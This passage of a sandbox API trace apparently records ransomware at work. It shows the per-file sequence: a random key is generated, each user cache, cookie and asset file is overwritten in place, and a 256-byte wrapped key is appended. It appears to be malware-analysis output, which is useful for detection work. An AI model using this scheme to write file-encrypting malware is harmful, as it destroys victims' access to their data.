(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\1b60c273-f96f-4713-929a-6444e00282fa.7647c411-ba98-4335-90cc-b9513179ac81.down_meta", dwFileAttributes=0x80) returned 1 [0169.386] ReadFile (in: hFile=0x1820, lpBuffer=0x5e77c0, nNumberOfBytesToRead=0x5ca, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e77c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x5ca, lpOverlapped=0x0) returned 1 [0169.404] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-1482, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.404] WriteFile (in: hFile=0x1820, lpBuffer=0x5e7d98*, nNumberOfBytesToWrite=0x5ca, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e7d98*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5ca, lpOverlapped=0x0) returned 1 [0169.405] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5ca [0169.405] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.405] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.405] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.405] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.406] CloseHandle (hObject=0x1820) returned 1 [0169.407] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0169.407] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0169.407] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\13a1a3db-30b4-4d7f-b850-31701e6aab62.up_meta_body", dwFileAttributes=0x80) returned 1 [0169.408] ReadFile (in: hFile=0x1820, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0169.408] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.408] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0169.408] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0169.408] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.408] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.408] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.409] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.409] CloseHandle (hObject=0x1820) returned 1 [0169.411] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0169.411] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0169.411] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\13a1a3db-30b4-4d7f-b850-31701e6aab62.up_meta", dwFileAttributes=0x80) returned 1 [0169.411] ReadFile (in: hFile=0x1820, lpBuffer=0x570858, nNumberOfBytesToRead=0x112, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x570858*, lpNumberOfBytesRead=0x2e1f9bc*=0x112, lpOverlapped=0x0) returned 1 [0169.412] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-274, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.412] WriteFile (in: hFile=0x1820, lpBuffer=0x571fc8*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x571fc8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x112, lpOverlapped=0x0) returned 1 [0169.412] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x112 [0169.412] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.412] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.412] WriteFile (in: hFile=0x1820, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.413] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.413] CloseHandle (hObject=0x1820) returned 1 [0169.415] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0169.415] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0169.415] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\13a1a3db-30b4-4d7f-b850-31701e6aab62.cc15303f-fdbf-4f84-ab8e-2b29ebdfc262.down_meta", dwFileAttributes=0x80) returned 1 [0169.415] ReadFile (in: hFile=0x1820, lpBuffer=0x5e77c0, nNumberOfBytesToRead=0x5c0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e77c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x5c0, lpOverlapped=0x0) returned 1 [0169.436] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-1472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.436] WriteFile (in: hFile=0x1820, lpBuffer=0x5e7d88*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e7d88*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5c0, lpOverlapped=0x0) returned 1 [0169.437] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5c0 [0169.437] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.437] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.437] WriteFile (in: hFile=0x1820, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.437] WriteFile (in: hFile=0x1820, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.437] CloseHandle (hObject=0x1820) returned 1 [0169.439] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0169.439] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0169.439] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\0a9b218f-07c0-466c-a90d-846952623a1d.up_meta_body", dwFileAttributes=0x80) returned 1 [0169.440] ReadFile (in: hFile=0x1820, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0169.440] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.440] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0169.440] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0169.440] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.440] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.440] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.441] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.442] CloseHandle (hObject=0x1820) returned 1 [0169.443] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0169.443] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0169.443] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\INetCache\\container.dat", dwFileAttributes=0x80) returned 1 [0169.444] ReadFile (in: hFile=0x1824, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0169.444] SetFilePointer (in: hFile=0x1824, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.444] WriteFile (in: hFile=0x1824, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0169.444] SetFilePointer (in: hFile=0x1824, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0169.444] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.444] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.444] WriteFile (in: hFile=0x1824, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.445] WriteFile (in: hFile=0x1824, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.446] CloseHandle (hObject=0x1824) returned 1 [0169.458] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x619f30 | out: pbBuffer=0x619f30) returned 1 [0169.458] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0169.458] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\INetCookies\\N4L5NPVO.cookie", dwFileAttributes=0x80) returned 1 [0169.465] ReadFile (in: hFile=0x1828, lpBuffer=0x5538b0, nNumberOfBytesToRead=0x3f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5538b0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3f, lpOverlapped=0x0) returned 1 [0169.465] SetFilePointer (in: hFile=0x1828, lDistanceToMove=-63, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.466] WriteFile (in: hFile=0x1828, lpBuffer=0x553700*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x553700*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3f, lpOverlapped=0x0) returned 1 [0169.466] SetFilePointer (in: hFile=0x1828, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3f [0169.466] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.466] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x619f30*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x619f30*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.466] WriteFile (in: hFile=0x1828, lpBuffer=0x619f30*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.467] WriteFile (in: hFile=0x1828, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.467] CloseHandle (hObject=0x1828) returned 1 [0169.468] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x618da8 | out: pbBuffer=0x618da8) returned 1 [0169.469] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0169.469] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\INetCookies\\J9563R2N.cookie", dwFileAttributes=0x80) returned 1 [0169.469] ReadFile (in: hFile=0x1828, lpBuffer=0x556918, nNumberOfBytesToRead=0x5f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x556918*, lpNumberOfBytesRead=0x2e1f9bc*=0x5f, lpOverlapped=0x0) returned 1 [0169.470] SetFilePointer (in: hFile=0x1828, lDistanceToMove=-95, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.470] WriteFile (in: hFile=0x1828, lpBuffer=0x5567e0*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5567e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5f, lpOverlapped=0x0) returned 1 [0169.470] SetFilePointer (in: hFile=0x1828, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5f [0169.470] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.470] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x618da8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x618da8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.470] WriteFile (in: hFile=0x1828, lpBuffer=0x618da8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x618da8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.471] WriteFile (in: hFile=0x1828, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.471] CloseHandle (hObject=0x1828) returned 1 [0169.472] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0169.472] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0169.472] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\INetCookies\\container.dat", dwFileAttributes=0x80) returned 1 [0169.472] ReadFile (in: hFile=0x1828, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0169.472] SetFilePointer (in: hFile=0x1828, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.473] WriteFile (in: hFile=0x1828, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0169.473] SetFilePointer (in: hFile=0x1828, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0169.473] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.473] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.473] WriteFile (in: hFile=0x1828, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.474] WriteFile (in: hFile=0x1828, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.474] CloseHandle (hObject=0x1828) returned 1 [0169.476] WriteFile (in: hFile=0x182c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0169.477] CloseHandle (hObject=0x182c) returned 1 [0169.477] WriteFile (in: hFile=0x182c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0169.478] CloseHandle (hObject=0x182c) returned 1 [0169.486] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0169.486] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0169.486] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\fd19b752a859af314a3e30e618189f96ee29662fd9c4cca70aab6f7ebce7dbbf", dwFileAttributes=0x80) returned 1 [0169.491] ReadFile (in: hFile=0x1830, lpBuffer=0x33b6018, nNumberOfBytesToRead=0x23ff, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b6018*, lpNumberOfBytesRead=0x2e1f9bc*=0x23ff, lpOverlapped=0x0) returned 1 [0169.503] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-9215, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.503] WriteFile (in: hFile=0x1830, lpBuffer=0x33b8420*, nNumberOfBytesToWrite=0x23ff, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b8420*, lpNumberOfBytesWritten=0x2e1f9bc*=0x23ff, lpOverlapped=0x0) returned 1 [0169.504] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x23ff [0169.504] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0169.504] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0169.504] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0169.505] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0169.505] CloseHandle (hObject=0x1830) returned 1 [0169.510] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0169.510] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0169.510] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\fc645b17a10968adbd8a7b027847f65629eb8a2b5625c91bd6acafb486aa55db", dwFileAttributes=0x80) returned 1 [0169.516] ReadFile (in: hFile=0x1830, lpBuffer=0x33b6018, nNumberOfBytesToRead=0x74077, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b6018*, lpNumberOfBytesRead=0x2e1f9bc*=0x74077, lpOverlapped=0x0) returned 1 [0169.538] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-475255, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.538] WriteFile (in: hFile=0x1830, 